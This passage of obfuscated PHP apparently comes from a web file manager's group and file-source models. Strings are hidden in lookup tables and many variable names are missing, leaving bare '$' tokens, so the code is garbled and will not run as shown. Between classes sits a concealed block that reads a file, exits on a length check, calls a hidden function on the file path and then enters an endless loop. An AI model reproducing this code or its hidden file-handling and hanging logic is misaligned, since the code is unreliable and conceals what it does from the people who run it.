isset($ɪ߆[$ʲ[2061]]) ? $ɪ߆[$ʲ[2061]] : !1; if (!trim($Ì)) { return !1; } $Ì = str_replace($ʲ[2062], $ʲ[2063], $Ì); $깄 = array($ʲ[1962] => array($ʲ[459], "{$Ì}\x25"), $ʲ[32] => array($ʲ[459], "\45{$Ì}\45"), $ʲ[1071] => $ʲ[2064]); if ($˥) { $ы = $this->getInfoSimple($˥); $ = $ы[$ʲ[584]] . $˥ . $ʲ[613]; $깄 = array($깄, array($ʲ[584] => array($ʲ[459], $))); } $깄 = $this->parseWhereLike($깄); $ = $this->_makeOrder()->where($깄)->selectPage(20); $ = $ ? $ : array($ʲ[445] => array(), $ʲ[442] => array()); if (!$ || count($[$ʲ[445]]) < 5 && Input::check($Ì, $ʲ[394])) { $˖ = $this->groupChildrenAll($˥); $ = $this->_searchFromMeta($ʲ[537], $Ì, 10, $˖); $Պ = $this->_searchFromMeta($ʲ[538], $Ì, 10, $˖); $ = array_merge($, $Պ, $[$ʲ[445]]); $[$ʲ[445]] = array_unique_by_key($, $ʲ[1962]); $[$ʲ[442]][$ʲ[443]] = count($[$ʲ[445]]); $[$ʲ[442]][$ʲ[444]] = ceil($[$ʲ[442]][$ʲ[443]] / $[$ʲ[442]][$ʲ[439]]); } $this->_listDataApply($[$ʲ[445]]); return $; } protected function groupChildrenAll($ʹ) { $ =& $_SERVER[]; if (!$ʹ) { return !1; } if (!is_array($ʹ)) { $ʹ = array($ʹ); } $ = $ʹ; foreach ($ʹ as $) { $ʾ浂 = $this->getInfoSimple($); $ = array($[584] => array($[459], $ʾ浂[$[584]] . $ . $[613])); $ = $this->field($[1962])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1962])); } return array_unique($); } private function _searchFromMeta($ݐα, $ꦲ, $֥, $) { $ׁ =& $_SERVER[]; $ꦲ = strtolower($ꦲ); $ = array($ׁ[97] => $ݐα, $ׁ[450] => array($ׁ[459], "\45{$ꦲ}\45")); $ = $this->parseWhereLike($); if ($) { $[$ׁ[1962]] = array($ׁ[7], $); } $ = Model($ׁ[2065])->where($)->limit($֥)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ׁ[12], $ׁ[1962]); $֛ = $this->where(array($ׁ[2054] => array($ׁ[7], $)))->select(); if (!$֛) { return array(); } return $֛; } protected function _listDataApplyItem($惪) { $Ǧ = array($惪); $this->_listDataApply($Ǧ); return $Ǧ[0]; } protected function _listDataApply(&$τ) { $ =& $_SERVER[]; if (!$τ) { return; } $Ɯ = array_to_keyvalue($τ, $[12], $[1962]); $this->_listAppendChildren($τ); $this->_listAppendChildrenMember($τ); $this->_listAppendMeta($τ, $Ɯ); $this->_listAppendParent($τ); $this->_listAppendSourceRoot($τ, $Ɯ); } private function _listAppendChildren(&$뀌) { $ =& $_SERVER[]; $ħ = array_to_keyvalue($뀌, $[12], $[1962]); $ = array($[192] => array($[7], $ħ)); $ = array($[192], $[2066] => $[565]); $ = $this->field($)->where($)->group($[192])->select(); $ = array_to_keyvalue($, $[192], $[565]); foreach ($뀌 as &$Կ) { $쭽 = $Կ[$[1962]]; $Կ[$[2067]] = isset($[$쭽]) ? intval($[$쭽]) : !1; } unset($Կ); } private function _listAppendChildrenMember(&$鵑Ƹ) { $ߙ =& $_SERVER[]; $ꍇ͊ = array_to_keyvalue($鵑Ƹ, $ߙ[12], $ߙ[1962]); $ٸ = array($ߙ[1962] => array($ߙ[7], $ꍇ͊)); $ = array($ߙ[1962], $ߙ[2066] => $ߙ[565]); $ʑ = Model($ߙ[2056])->field($)->where($ٸ)->group($ߙ[1962])->select(); $ = array_to_keyvalue($ʑ, $ߙ[1962], $ߙ[565]); foreach ($鵑Ƹ as &$Ҝ) { $ = $Ҝ[$ߙ[1962]]; $Ҝ[$ߙ[2068]] = isset($[$]) ? intval($[$]) : !1; } unset($Ҝ); } private function _listAppendMeta(&$, $) { $̔ =& $_SERVER[]; $ = array($̔[1962] => array($̔[7], $)); $ߊ = Model($̔[2055])->where($)->select(); $ߊ = array_to_keyvalue_group($ߊ, $̔[1962]); foreach ($ߊ as &$) { $ = array_to_keyvalue($, $̔[97], $̔[450]); } unset($); foreach ($ as &$
) { $
[$̔[539]] = array(); if (isset($ߊ[$
[$̔[1962]]])) { $
[$̔[539]] = $ߊ[$
[$̔[1962]]]; } } unset($
); } protected function parentLevelArray($럌) { $ݦ =& $_SERVER[]; $럌 = explode($ݦ[50], trim($럌, $ݦ[50])); $럌 = array_remove_value($럌, $ݦ[228]); return $럌; } protected function parentInGroup($̷ߵ, $Ǝ) { $胾 =& $_SERVER[]; $ = $this->getInfoSimple($̷ߵ); if (!$) { return !0; } $Ј = $this->parentLevelArray($[$胾[584]]); $Ј[] = $̷ߵ; foreach ($Ј as $̷ߵ) { if (in_array($̷ߵ . $胾[12], $Ǝ)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as &$Ȅ) { $[$Ȅ[$[1962]]] = $Ȅ[$[32]]; $ = $this->parentLevelArray($Ȅ[$[584]]); foreach ($ as $ě) { if (!isset($[$ě])) { $[$ě] = 0; } } } unset($Ȅ); foreach ($ as $ => $ǽ) { if ($ǽ) { continue; } $ԧ = $this->getInfoSimple($); $[$] = $ԧ[$[32]]; } $كҾ = $GLOBALS[$[6]][$[92]][$[2069]]; if (KodUser::isRoot()) { $كҾ = !1; } foreach ($ as &$Ȅ) { $ = $this->parentLevelArray($Ȅ[$[584]]); $ = $[12]; foreach ($ as $ => $ě) { if ($كҾ && $ == 0) { continue; } $ .= $[$ě] . $[8]; } if ($) { $ .= $Ȅ[$[32]]; } $Ȅ[$[589]] = str_replace($[592], $[8], $); } unset($Ȅ); } private function _listAppendSourceRoot(&$Ņ, $) { $ =& $_SERVER[]; $ܵ = Model($[899])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ܵ = array_to_keyvalue($ܵ, $[569]); $ܵ = array_remove_key($ܵ, $[569]); foreach ($Ņ as &$Ǚ) { $Ǚ[$[90]] = $ܵ[$Ǚ[$[1962]]] ? $ܵ[$Ǚ[$[1962]]] : array(); } unset($Ǚ); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ÿ = 0; $ÿ < count($); $ÿ++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ÿ == $) { continue; } if ($this->isParentOf($[$], $[$ÿ])) { $ = !0; break; } } if (!$) { $[] = $[$ÿ]; } } return $; } protected function isParentOf($ȝ, $) { $ݎ =& $_SERVER[]; if (!$ȝ || !$ || $ȝ == $) { return !1; } $̸Ҋ = $this->getInfoSimple($ȝ); $갫 = $this->getInfoSimple($); $ۖ = $̸Ҋ[$ݎ[584]] . $ȝ . $ݎ[50]; if (substr($갫[$ݎ[584]], 0, strlen($ۖ)) == $ۖ) { return !0; } return !1; } public function groupShowRoot($걹, $ = false) { $ॐ =& $_SERVER[]; $ܩ = $this->getInfo($걹); if (!$ܩ) { return array(); } $ = $this->parentLevelArray($ܩ[$ॐ[584]]); $ = array($걹); if (count($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$ܩ[$ॐ[539]] || !isset($ܩ[$ॐ[539]][$ॐ[2052]]) || $ܩ[$ॐ[539]][$ॐ[2052]] == $ॐ[843]) { return $this->groupShowRoot($[count($) - 1], $); } if ($ܩ[$ॐ[539]][$ॐ[2052]] == $ॐ[433]) { $ғ = explode($ॐ[50], $ܩ[$ॐ[539]][$ॐ[2053]]); if ($ғ) { $ = array_merge($, $ғ); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ڔ = $[1962]; $ﻀ = $this->select(); $ﻀ = array_to_keyvalue($ﻀ, $ڔ); foreach ($ﻀ as $) { $ = $; $ = array(); while ($[$[192]] != 0) { $[] = $[$[192]]; $ = $ﻀ[$[$[192]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$ڔ], $[$[32]]); $this->where(array($ڔ => $[$ڔ]))->save(array($[652] => $)); } return $ﻀ; } public function groupNameAuto($, $Ľ) { $㠘 =& $_SERVER[]; $ɺ = $this->where(array($㠘[477] => $))->getField($㠘[32], !0); if (!$ɺ || !in_array($Ľ, $ɺ)) { return $Ľ; } for ($ = 1; $ <= count($ɺ) + 1; $++) { $ΰ = $Ľ . "\x28{$}\x29"; if (!in_array($ΰ, $ɺ)) { return $ΰ; } } } public function groupSwitch($˩, $) { $տ =& $_SERVER[]; $՛ѽ = array($տ[1962] => array($տ[7], array($˩, $))); $ַ = $this->where($՛ѽ)->select(); $ַ = array_to_keyvalue($ַ, $տ[1962]); if (!isset($ַ[$˩]) || !isset($ַ[$]) || $ַ[$˩][$տ[192]] == 0) { return !1; } $՛ѽ = array($տ[1962] => $˩); $ = Model($տ[2056])->where($՛ѽ)->select(); if (!$) { $ = array(); } foreach ($ as $) { $̎ = $[$տ[1763]]; $՛ѽ = array($տ[1763] => $̎, $տ[1962] => $); $̢ = Model($տ[2056])->where($՛ѽ)->find(); if (!$̢) { $ = array($ => $[$տ[2070]]); Model($տ[598])->userGroupAdd($̎, $); } Model($տ[598])->userGroupRemove($̎, $˩); } $՛ѽ = array($տ[190] => 2, $տ[192] => 0, $տ[485] => 1, $տ[569] => array($տ[7], array($˩, $))); $ = Model($տ[899])->where($՛ѽ)->field($տ[2071])->select(); $ = array_to_keyvalue($, $տ[569], $տ[193]); $˧ = !empty($[$˩]) ? $[$˩] : !1; if ($˧) { if (!$[$]) { $[$] = Model($տ[899])->groupRootAdd($); } $ʨ = $[$]; $՛ѽ = array($տ[192] => $˧); $ = Model($տ[899])->where($՛ѽ)->field($տ[2072])->select(); if (!$) { $ = array(); } Model($տ[899])->moveClearAuth = !1; foreach ($ as $ͽ) { $ = $ͽ[$տ[485]] == $տ[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($տ[899])->move($ͽ[$տ[193]], $ʨ, $); } Model($տ[899])->moveClearAuth = !0; $՛ѽ = array($տ[190] => 2, $տ[569] => $˩); $ = array($տ[569] => $); Model($տ[2073])->where($՛ѽ)->save($); Model($տ[2074])->where($՛ѽ)->save($); } $this->_changeChildLevel($ַ[$˩], $ַ[$], !0); $this->where(array($տ[192] => $˩))->save(array($տ[192] => $)); $this->_clearChildrenCache($ַ[$]); return !0; } } if (!isset($_SERVER[$_SERVER[][846]]) || !isset($_SERVER[$_SERVER[][844]])) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][848]] . $_SERVER[][849]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][454]); } } goto E; Aϝ: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\x65\x6d\117\x70\x74\151\x6f\156"; public $field = array(); public function listData($ = false, $ю = "\155\157\144\151\146\x79\124\x69\x6d\145", $ = false) { $Վ̲ = Model($this->modelType)->get(!1, $this->optionType, !0); $ݓ = array_values($Վ̲); if ($ݓ && $ݓ[0] && !is_array($ݓ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $Վ̲ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$Վ̲) { return $ ? null : array(); } if (!$) { $Վ̲ = array_filter(array_values($Վ̲)); return array_sort_by($Վ̲, $ю, $); } return $Վ̲[$_SERVER[][472] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ʼn = Model($this->modelType)->get($[473], $this->optionType . $[474]); $ʼn = $ʼn ? $ʼn : 0; $[$[475]] = ++$ʼn; $[$[231]] = time(); $[$[88]] = time(); Model($this->modelType)->set($[473], $ʼn, $this->optionType . $[474]); Model($this->modelType)->set($[472] . $ʼn, $, $this->optionType); return $ʼn; } public function update($艮, $є) { $ֺ =& $_SERVER[]; $є = array_field_key($є, $this->field); $ = $this->listData($艮); if (!$ || !$艮) { return !1; } $є = array_merge($, $є); $є[$ֺ[88]] = time(); return Model($this->modelType)->set($ֺ[472] . $艮, $є, $this->optionType); } public function remove($ۙ) { if (!$ۙ) { return !1; } return Model($this->modelType)->remove($_SERVER[][472] . $ۙ, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[473], $this->optionType . $[474]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ݣˁ, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ݣˁ); return isset($[$]) ? $[$] : !1; } public function findByName($ί) { return $this->findByKey($_SERVER[][32], $ί); } protected function resetData($) { $ӑ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$ӑ[472] . $[$][$ӑ[475]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($竛 = 1; $竛 < count($); $竛++) { $ = $ . "\x28{$竛}\x29"; if (!isset($[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($뫠 = false, $Ȗ = '', $ت; = false) { $ =& $_SERVER[]; $؍ = $this->cacheGet($Ȗ); $ = $this->optionDefault($Ȗ); $ = is_array($) ? $ : array(); if (is_array($؍)) { $؍ = array_merge($, $؍); return $뫠 ? isset($؍[$뫠]) ? $؍[$뫠] : null : $؍; } $ = $this->filterWhere(array($[33] => $Ȗ)); $؍ = $this->where($)->select(); $؍ = array_to_keyvalue($؍, $[97], $[450]); foreach ($؍ as $ => $ą) { if ($ت; || in_array($, $this->jsonField)) { $؍[$] = json_decode($ą, !0); } } $this->cacheSet($Ȗ, $؍); $؍ = array_merge($, $؍); return $뫠 ? $؍[$뫠] : $؍; } public function set($庵, $ = false, $đ = '') { $艬 =& $_SERVER[]; $this->cacheRemove($đ); $ϊ = array(); $ = is_array($庵) ? $庵 : array($庵 => $); foreach ($ as $ => $ַ) { if (is_array($ַ)) { $ַ = json_encode_force($ַ); } $this->checkLength($ַ, !1, $this->tableName . $艬[4] . $庵); $ַ = self::textEncode($ַ); $ = array($艬[33] => $đ, $艬[97] => $, $艬[450] => $ַ); $ϊ[] = $this->filterWhere($); } if (!$ϊ) { return !0; } $ = $this->cacheKey($艬[476]); CacheLock::lock($); $ = $this->addAll($ϊ, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($Ֆ = '') { return !1; } public function setDeep($މɱЩ, $ = false, $Ҁ = '') { $ = explode($_SERVER[][10], $މɱЩ); $ت = $this->get(); array_set_value($ت, $މɱЩ, $); $this->set($[0], $ت[$[0]], $Ҁ); } public function remove($ؒ, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[97] => $ؒ, $[33] => $)); if (is_null($ؒ)) { unset($[$[97]]); } return $this->where($)->delete(); } public function cacheSet($Ɠ, $я = false) { return Cache::set($this->cacheKey($Ɠ), $я); } public function cacheGet($£) { return Cache::get($this->cacheKey($£)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\x72\x63\x65"; protected $tableMeta = array("\x74\x61\x62\x6c\145\116\x61\x6d\145" => "\151\x6f\x5f\x73\x6f\x75\162\x63\145\137\x6d\x65\164\141", "\155\x65\x74\x61\x46\x69\145\154\144" => "\x73\x6f\165\x72\x63\145\x49\x44"); protected $dataAuto = array(array("\x6d\x6f\144\151\146\171\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\145\x72\164", "\x66\x75\156\143\x74\x69\157\x6e"), array("\x63\162\145\141\164\x65\124\x69\155\145", "\x74\x69\155\145", "\151\x6e\163\145\162\164", "\x66\165\x6e\143\164\151\x6f\156"), array("\x76\x69\x65\167\124\151\x6d\x65", "\x74\151\x6d\145", "\x69\156\163\145\162\x74", "\146\x75\x6e\143\x74\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][477] => $)); } public function typeName($앿) { static $ = array(self::TYPE_SYSTEM => "\163\171\x73\164\145\155", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\147\x72\157\x75\x70"); return $[$앿 . $_SERVER[][12]]; } public function sourceListInfo($̒, $ҳ = false) { $ٍ =& $_SERVER[]; $̒ = $̒ ? $̒ : array(); $̒ = array_filter(array_unique($̒)); if (!$̒) { return array(); } $椼 = $this->where(array($ٍ[193] => array($ٍ[7], $̒)))->select(); $this->_listDataApply($椼, $ҳ); return array_to_keyvalue($椼, $ٍ[193]); } public function pathInfoFilter(&$ͬ) { $ =& $_SERVER[]; static $Ų = false; static $ = false; static $ߦ = false; if (!$Ų) { $䞑ö = $[478]; $䞑ö .= $[479]; $䞑ö .= $[480]; $ = $[481]; $҉ = explode($[50], $); $Ų = explode($[50], $䞑ö); $ = array(); foreach ($Ų as $ǯ) { if (in_array($ǯ, $҉)) { continue; } $[] = $ǯ; } $ߦ = explode($[50], $[482]); } foreach ($ߦ as $ɰ) { if (isset($ͬ[$ɰ])) { $ͬ[$ɰ] = intval($ͬ[$ɰ]); } } $ͬ[$[87]] = $[483] . $ͬ[$[193]] . $[484]; $ͬ[$[33]] = $ͬ[$[485]] == 1 ? $[78] : $[230]; $ͬ[$[190]] = $this->typeName($ͬ[$[190]]); if ($ͬ[$[485]] != 1) { $ͬ[$[169]] = $ͬ[$[486]]; unset($ͬ[$[486]]); } $ۈ = $Ų; if (isset($ͬ[$[487]]) && $ͬ[$[487]][$[488]] == -1) { $ۈ = $; } $ͬ = array_field_key($ͬ, $ۈ); return $ͬ; } public function listUserFav() { $Ꞇ =& $_SERVER[]; $§ = Model($Ꞇ[489])->listData(); $ɫڟ = array_filter_by_field($§, $Ꞇ[33], $Ꞇ[490]); $ɫڟ = array_to_keyvalue($ɫڟ, $Ꞇ[12], $Ꞇ[87]); if ($ɫڟ) { $ʟ = $this->listSource(array($Ꞇ[491] => array($Ꞇ[492], $ɫڟ))); } $ʟ = array_to_keyvalue($ʟ[$Ꞇ[445]], $Ꞇ[193]); foreach ($§ as &$м) { $м = array($Ꞇ[493] => $м[$Ꞇ[475]], $Ꞇ[494] => $м[$Ꞇ[32]], $Ꞇ[495] => $м[$Ꞇ[87]], $Ꞇ[496] => $м[$Ꞇ[33]], $Ꞇ[497] => $м[$Ꞇ[231]], $Ꞇ[498] => $м[$Ꞇ[88]]); if ($м[$Ꞇ[33]] == $Ꞇ[490] && $ʟ[$м[$Ꞇ[87]]]) { $м[$Ꞇ[90]] = $ʟ[$м[$Ꞇ[87]]]; } } unset($м); return $§; } public function listUserTag($) { $ޕ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($ޕ[499])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ߐ = $[$ޕ[87]]; if (!$ߐ) { continue; } if (!isset($[$ߐ])) { $[$ߐ] = array(); } $[$ߐ][] = $[$ޕ[500]]; $[$[$ޕ[87]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ͲՎ => $) { $ = !0; if (!$) { $[] = $ͲՎ; continue; } foreach ($ as $̣) { if (!in_array($̣, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($ͲՎ)) { $ف = $[$ͲՎ]; $ = array($ޕ[32] => $ف[$ޕ[32]], $ޕ[87] => $ف[$ޕ[87]], $ޕ[33] => $ف[$ޕ[33]], $ޕ[90] => array($ޕ[501] => 1), $ޕ[232] => !0); if ($ف[$ޕ[33]] == $ޕ[230]) { $[] = $; } if ($ف[$ޕ[33]] == $ޕ[78]) { $[] = $; } continue; } $[] = $ͲՎ; } if ($) { $ = $this->listSource(array($ޕ[491] => array($ޕ[492], $))); } $ = $ ? $ : array($ޕ[85] => array(), $ޕ[86] => array()); $[$ޕ[85]] = array_merge($[$ޕ[85]], $); $[$ޕ[86]] = array_merge($[$ޕ[86]], $); if (isset($[$ޕ[442]]) && count($) == $[$ޕ[442]][$ޕ[443]]) { return $; } $ = array(); $ = array_to_keyvalue($[$ޕ[85]], $ޕ[12], $ޕ[193]); $ = array_to_keyvalue($[$ޕ[86]], $ޕ[12], $ޕ[193]); $ = array_merge($, $); foreach ($ as $ߐ) { if (!in_array($ߐ, $)) { $[] = $ߐ; } } if ($) { Model($ޕ[502])->removeBySource($); } return $; } public function listUserRecycle() { $מ =& $_SERVER[]; $ = Model($מ[503])->listData(); if (!$) { return array(); } $䟿Ӡ = array($מ[491] => array($מ[492], $), $מ[504] => 1); return $this->listSource($䟿Ӡ); } public function listSource($, $ђҬ = 3000, $Ӌ = false) { $˽ܒ =& $_SERVER[]; if (!isset($[$˽ܒ[505]])) { $[$˽ܒ[505]] = 0; } if (isset($[$˽ܒ[192]]) && $[$˽ܒ[192]] == $˽ܒ[228]) { $[$˽ܒ[486]] = array($˽ܒ[506], $˽ܒ[12]); } $萅 = $˽ܒ[507]; $ = $this->field($萅)->_makeOrder()->where($)->selectPage($ђҬ); $this->_listPageCheck($, $萅, $); $this->_listDataApply($[$˽ܒ[445]], $Ӌ); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $皇) { $ =& $_SERVER[]; if (!is_array($[$[442]])) { return; } $ = $[$[442]]; if ($[$[444]] <= 1) { return; } if ($[$[443]] >= 100000) { return; } if (Model($[508])->get($[509]) != $[510]) { return; } $ = str_replace(array($[53], $[418], $[262]), $[12], $); $ = $[511] . str_replace($[50], $[512], $) . $[513]; $ϼŶ = $[514]; $ϼŶ = $ϼŶ . $[515]; $ޓ = $[$[439]] * ($[$[429]] - 1) . $[50] . $[$[439]]; $ = $this->_makeOrder(!0); $ۄ = $[511] . str_replace($[50], $[512], $[0]); if (strpos($ۄ, $[516])) { $ۄ = str_replace($[516], $[517], $ۄ); } else { $ۄ .= $[518] . $[1]; } $è = array(); foreach ($皇 as $ߡ => $ꕎ) { $è[$[511] . $ߡ] = $ꕎ; } $this->alias($[519])->field($)->limit($ޓ)->order($ۄ); $ = $this->join($ϼŶ)->where($è)->select(); if ($) { $[$[445]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $٣ = Model($[520])->get($[521]); $ = Model($[520])->get($[522]); $Ә = array($[523] => $[524], $[525] => $[526]); $ռ = array($[32] => $[32], $[79] => $[79], $[169] => $[486], $[527] => $[527], $[528] => $[529], $[231] => $[231], $[88] => $[88]); $ڶ = Input::get($[530], $[7], $٣, array_keys($ռ)); $ = Input::get($[531], $[7], $, array_keys($Ә)); if (!in_array($ڶ, array_keys($ռ))) { $ڶ = $[32]; } if (!in_array($, array_keys($Ә))) { $ڶ = $[523]; } if ($ڶ == $[32]) { } $밒 = $[532] . $ռ[$ڶ] . $[53] . $Ә[$]; $밒 = rtrim(trim($밒), $[50]); if ($) { return array($밒, $Ә[$]); } return $this->order($밒); } protected function _listDataApplyItem($ϙؾ, $ = false) { $ۢ = array($ϙؾ); $this->_listDataApply($ۢ, $); return $ۢ[0]; } protected function _listDataApply(&$듊, $ڰ = false) { $ =& $_SERVER[]; if (!$듊) { $듊 = array(); return; } $ĕԤ = array_to_keyvalue($듊, $[12], $[193]); $ĕԤ = array_unique($ĕԤ); $this->_listSourceCache($듊); if (!$ڰ) { $this->_listAppendMeta($듊, $ĕԤ); $this->_listAppendFileMeta($듊, $ĕԤ); $this->_listAppendChildren($듊, $ĕԤ); } $this->_listAppendPath($듊); $this->_listAppendAuth($듊); $this->_listAppendSourceInfo($듊, $ĕԤ); $this->_listAppendUser($듊); $this->_listFilterInfo($듊, $ڰ); $this->_listAppendAuthSecret($듊); } protected function _listSourceCache($ͻ) { $ =& $_SERVER[]; foreach ($ͻ as $ט) { self::$cacheSourceInfo[$[533] . $ט[$[193]]] = $ט; } } protected function _listFilterInfo(&$, $ = false) { $늞 =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$늞[534] . intval($) . $늞[462] . $[$늞[193]]] = $; } unset($); } protected function _listMake(&$) { $ӌ =& $_SERVER[]; $[$ӌ[85]] = array(); $[$ӌ[86]] = array(); foreach ($[$ӌ[445]] as $ԑ) { $ = $ԑ[$ӌ[485]] == 1 ? $ӌ[85] : $ӌ[86]; $[$][] = $ԑ; } unset($[$ӌ[445]]); } protected function _listAppendMeta(&$ʋ, $) { $ =& $_SERVER[]; $ޥ = array($[491] => array($[492], $)); $标 = Model($[535])->field($[536])->where($ޥ)->select(); if (!$标) { return; } $ = array($[537], $[538], $[517]); $ = array(); foreach ($标 as $۵) { if (!isset($[$۵[$[193]]])) { $[$۵[$[193]]] = array(); } if (in_array($۵[$[97]], $)) { continue; } $[$۵[$[193]]][$۵[$[97]]] = $۵[$[450]]; } foreach ($ʋ as &$֒) { $֒[$[539]] = !1; if (isset($[$֒[$[193]]])) { $֒[$[539]] = $[$֒[$[193]]]; } if ($this->fileIsLock($֒) && $֒[$[487]]) { $ӄ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $֒[$[487]][$[488]] = AuthModel::authDisable($֒[$[487]][$[488]], $ӄ); $֒[$[487]][$[540]][$[487]] = $֒[$[487]][$[488]]; } } unset($֒); } protected function _listAppendFileMeta(&$Ũ, $) { $ =& $_SERVER[]; $誵 = array_to_keyvalue($Ũ, $[12], $[541]); $誵 = array_filter(array_unique($誵)); if (!$誵) { return; } $Dz = array($[542] => array($[492], $誵)); $ģ = $[543]; $Ф݆ = Model($[544])->field($ģ)->where($Dz)->select(); $Ф݆ = array_to_keyvalue($Ф݆, $[541]); $ = Model($[545])->field($[546])->where($Dz)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$[541]]])) { $[$[$[541]]] = array(); } $[$[$[541]]][$[$[97]]] = $[$[450]]; } foreach ($Ũ as &$͵) { $탋 = $͵[$[541]]; if (!$탋 || !is_array($Ф݆[$탋])) { continue; } $© = $Ф݆[$탋]; $©[$[79]] = $͵[$[79]]; $©[$[32]] = $͵[$[32]]; if (!$©[$[547]]) { Model($[544])->fileMd5Check($©); } if (!isset(self::$cacheFileInfo[$[548] . $탋])) { self::$cacheFileInfo[$[548] . $탋] = array_merge(array(), $©); } unset($Ф݆[$탋][$[87]]); $Dž = isset($[$탋]) && is_array($[$탋]) ? $[$탋] : array(); $͵[$[170]] = array_merge($Dž, $Ф݆[$탋]); if (isset($͵[$[170]][$[184]])) { $͵[$[184]] = json_decode($͵[$[170]][$[184]], !0); unset($͵[$[170]][$[184]]); } } unset($͵); } protected function _listAppendSourceInfo(&$, $ߑ) { $ު =& $_SERVER[]; $Ӑ = Model($ު[549])->listData(); $ = Model($ު[499])->listData(); $ = Model($ު[489])->listData(); $챣 = Model($ު[550])->listSimple(); $ĩ = array_to_keyvalue($Ӑ, $ު[475]); $Խ = array_to_keyvalue_group($, $ު[87], $ު[500]); $ = array_to_keyvalue($, $ު[87]); $Ԝ = array_to_keyvalue_group($챣, $ު[193]); foreach ($ as &$) { $[$ު[90]] = array($ު[551] => 0, $ު[552] => 0, $ު[553] => 0); if (isset($[$[$ު[193]]])) { $[$ު[90]][$ު[554]] = 1; $[$ު[90]][$ު[555]] = $[$[$ު[193]]][$ު[32]]; } if ($Խ && $ĩ && isset($Խ[$[$ު[193]]])) { $[$ު[90]][$ު[556]] = array(); foreach ($Խ[$[$ު[193]]] as $Ȝ) { $υ貝 = $ĩ[$Ȝ]; $[$ު[90]][$ު[556]][] = array($ު[557] => $υ貝[$ު[475]], $ު[494] => $υ貝[$ު[32]], $ު[558] => $υ貝[$ު[559]]); } } if ($Ԝ && isset($Ԝ[$[$ު[193]]])) { $[$ު[90]][$ު[560]] = array(); foreach ($Ԝ[$[$ު[193]]] as $Ƕ) { $ߤ = $ު[561]; if ($Ƕ[$ު[562]] == $ު[91]) { $ߤ .= $ު[563]; } $[$ު[90]][$ު[560]] = array_field_key($Ƕ, explode($ު[50], $ߤ)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[239] => 0, $[240] => 0); foreach ($ as &$Ĕ) { if (!$Ĕ[$[485]]) { continue; } $[] = $Ĕ[$[193]]; } unset($Ĕ); if (!$) { return; } $˺ = array($[192] => array($[7], $), $[505] => 0); $١ = array($[192], $[485], $[564] => $[565]); $ӄ = $this->field($١)->where($˺)->group($[566])->select(); $Ǡ = array(); foreach ($ӄ as $᚛) { $Ȗ = $᚛[$[192]]; $ˏ = $᚛[$[485]] == $[91] ? $[240] : $[239]; if (!isset($Ǡ[$Ȗ])) { $Ǡ[$Ȗ] = array($[239] => 0, $[240] => 0); } $Ǡ[$Ȗ][$ˏ] += $᚛[$[565]]; } foreach ($ as &$Ĕ) { if (!$Ĕ[$[485]]) { continue; } $ = is_array($Ǡ[$Ĕ[$[193]]]) ? $Ǡ[$Ĕ[$[193]]] : $; $Ĕ[$[240]] = $[$[240]]; $Ĕ[$[239]] = $[$[239]]; unset($Ĕ[$[486]]); } unset($Ĕ); } protected function _listAppendAuth(&$҂) { $ =& $_SERVER[]; $ = array(); foreach ($҂ as $Ȉ) { if ($Ȉ[$[190]] == self::TYPE_GROUP) { $[] = $Ȉ[$[193]]; } } if (!$) { return; } $ߥ = array_to_keyvalue($҂, $[193]); $ = 